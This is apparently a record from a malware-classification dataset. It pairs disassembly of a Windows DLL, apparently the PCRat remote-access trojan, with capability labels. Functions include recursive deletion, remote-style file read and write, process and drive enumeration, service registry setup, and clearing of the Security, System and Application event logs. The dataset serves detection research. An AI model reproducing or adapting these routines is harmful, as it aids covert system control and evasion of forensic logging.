joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004ee0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
lea eax, [esp + 0x348]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x45c]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str._s.
mov ebp, ecx
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10004f35
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44c
ret 4
cmp byte [esp + 0x3c], 0x2e
je 0x10004f87
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
push eax
push esi
push 0x1001c398
je 0x10004f6c
lea ecx, [esp + 0x15c]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x150]
mov ecx, ebp
push edx
call fcn.10004ee0
jmp 0x10004f87
lea ecx, [esp + 0x260]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004f35
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x44c
ret 4

Function at 0x10004fc0
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x70]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push closesocket
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005024
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x6a
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10008e30
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x100050c0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x100050de
call fcn.100051a0
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x70]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005109
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6b
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10005181
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.10008e30
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.100051a0
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x10005820
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x70]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x71
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10008e30
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10005930
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push 0
push 0x1001e08c
push eax
push str.WinRar
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret 4

Function at 0x10005b30
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 8]
add esp, 0x20
ret

Function at 0x10005b50
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push ebp
push edi
xor ebp, ebp
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], ebp
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
push 2
mov dword [esp + 0x10], ebp
stosb byte es:[edi], al
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
je 0x10005c5d
push ebx
lea eax, [esp + 0x18]
push esi
push eax
push edi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005c54
mov ebx, dword [esp + 0x24c]
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x10005c41
cmp eax, 4
je 0x10005c41
cmp eax, 8
je 0x10005c41
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
mov edi, ebx
mov edx, ecx
add ebx, 0x64
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x14]
cmp ebp, 0x63
jge 0x10005c54
lea eax, [esp + 0x1c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10005bc2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x238
ret 4
Function at 0x10005c70
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x780
push ebx
push ebp
push esi
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x390]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x130]
mov byte [esp + 0x390], 0x68
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x130]
xor edx, edx
test al, al
lea ebp, [esp + 0x130]
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x10005e17
jmp 0x10005cd6
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x30]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x234]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x340]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x2c]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x10005d88
cmp al, 0x42
je 0x10005d88
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10005d88
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10016630
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10016630
mov dword [esp + 0x10], eax
jmp 0x10005d8e
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x394], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x391], al
mov eax, ecx
mov dword [esp + ebx + 0x392], esi
lea esi, [esp + 0x340]
lea edi, [esp + ebx + 0x39a]
mov dword [esp + ebx + 0x396], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x30]
lea edi, [esp + edx + 0x39e]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10005cd4
mov edi, dword [esp + 0x794]
mov ecx, 0x100
lea esi, [esp + 0x390]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x780
ret 4
Function at 0x10006030
Capabilities:
Delete file
Print debug messages

Disassembly:
sub esp, 0x568
mov ecx, 0x41
xor eax, eax
lea edx, [esp]
push esi
push edi
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov edi, str.s__secivreS_tESlortnoCtnerruCMETSYS
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x574]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
lea eax, [esp + 0x178]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x6c]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x74]
push 0
push edx
push 1
lea eax, [esp + 0x184]
push str.InstallModule
push eax
push SysStringLen
call fcn.10008f00
push 3
push 0
push 0
push 1
lea ecx, [esp + 0x1a0]
push str.InstallModule
push ecx
push SysStringLen
call fcn.10009400
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x3c
push 0x1001c440
call esi
lea edx, [esp + 0x6c]
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea eax, [esp + 0x6c]
push eax
call edi
test eax, eax
jne 0x10006119
inc esi
cmp esi, 0xa
jl 0x10006108
pop edi
pop esi
add esp, 0x568
ret

Function at 0x10006190
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100061e4
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.10006130
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1000624f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x10006260
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016aa0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x25c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [ebp - 0x14], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push 0x1f4
lea eax, [ebp - 0x268]
push str.SYSTEMCurrentControlSEtServices_
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x268]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x268]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10006374
lea edx, [ebp - 0x20]
push 0x10019680
push edx
mov dword [ebp - 0x20], 0x1001e08c
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push 4
push eax
push 4
push 0
push str.Type
push ecx
mov dword [ebp - 0x1c], 0x120
call ebx
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x100063ca
lea edx, [ebp - 0x18]
push 0x10019680
push edx
mov dword [ebp - 0x18], str.RegSetValueEx_start_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100063c4
cmp byte [eax], 0
je 0x100063c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x100063ca
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
push eax
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100063f0
Capabilities:
Link many functions at runtime
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016ab0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push 0x1f4
lea eax, [ebp - 0x26c]
push str.SYSTEMCurrentControlSEtServices_
push eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x26c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x26c]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10006505
lea edx, [ebp - 0x20]
push 0x10019680
push edx
mov dword [ebp - 0x20], 0x1001e08c
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
push ecx
push edx
push 0
push str.Type
push eax
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x1000655a
lea edx, [ebp - 0x24]
push 0x10019680
push edx
mov dword [ebp - 0x24], str.RegQueryValueEx_Type_
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x10006557
ret
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
push eax
call ebx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007210
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x158
push ebx
push ebp
mov ebp, dword [esp + 0x164]
push edi
push 0x2f
push ebp
call dword [sym.imp.MSVCRT.dll_strrchr]
mov ebx, eax
add esp, 8
inc ebx
jne 0x1000723d
pop edi
pop ebp
xor al, al
pop ebx
add esp, 0x158
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x60]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x64]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, 0x1001c3b0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x64]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x64]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x64]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebp
call fcn.10010180
add esp, 8
test al, al
pop esi
jne 0x100072cf
pop edi
pop ebp
pop ebx
add esp, 0x158
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x80]
push str.PCRat_Update
push eax
mov dword [esp + 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
pop ebp
pop ebx
neg eax
add esp, 0x158
ret
Function at 0x10007320
Capabilities:
Create process on windows
Link many functions at runtime
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000748a
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000748a
lea ecx, [esp + 0xc]
push esi
lea edx, [esp + 0x68]
push ecx
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call eax
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
pop esi
je 0x1000748a
lea eax, [esp + 0x64]
push 0x1001c368
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x1000748a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x10], 0x44
test eax, eax
je 0x10007455
mov dword [esp + 0x18], str.WinSta0Default
jmp 0x10007464
mov dword [esp + 0x3c], 1
mov word [esp + 0x40], 0
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x100074a0
Capabilities:
Access the windows event log
Clear windows event logs
Link many functions at runtime

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov dword [esp + 0x18], str.Application
mov dword [esp + 0x1c], str.Security
mov dword [esp + 0x20], str.System
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
lea edi, [esp + 0x10]
mov ebp, 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000754d
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebp
jne 0x10007530
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10007560
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001e1a8]
lea eax, [esp + 4]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x108]
rep stosd dword es:[edi], eax
cmp byte [0x1001e313], 4
jne 0x100075d2
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 4]
lea edx, [esp + 4]
rep stosd dword es:[edi], eax
push edx
call fcn.1000d860
add esp, 4
lea eax, [esp + 4]
lea ecx, [esp + 0x108]
push eax
push str._s_lang.ini
push ecx
jmp 0x100075e4
lea edx, [esp + 4]
lea eax, [esp + 0x108]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop edi
jne 0x1000760c
push 0x1001c57c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esp + 0x20c]
lea edx, [esp + 0x104]
push edx
push eax
push str.Remark
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0x208
ret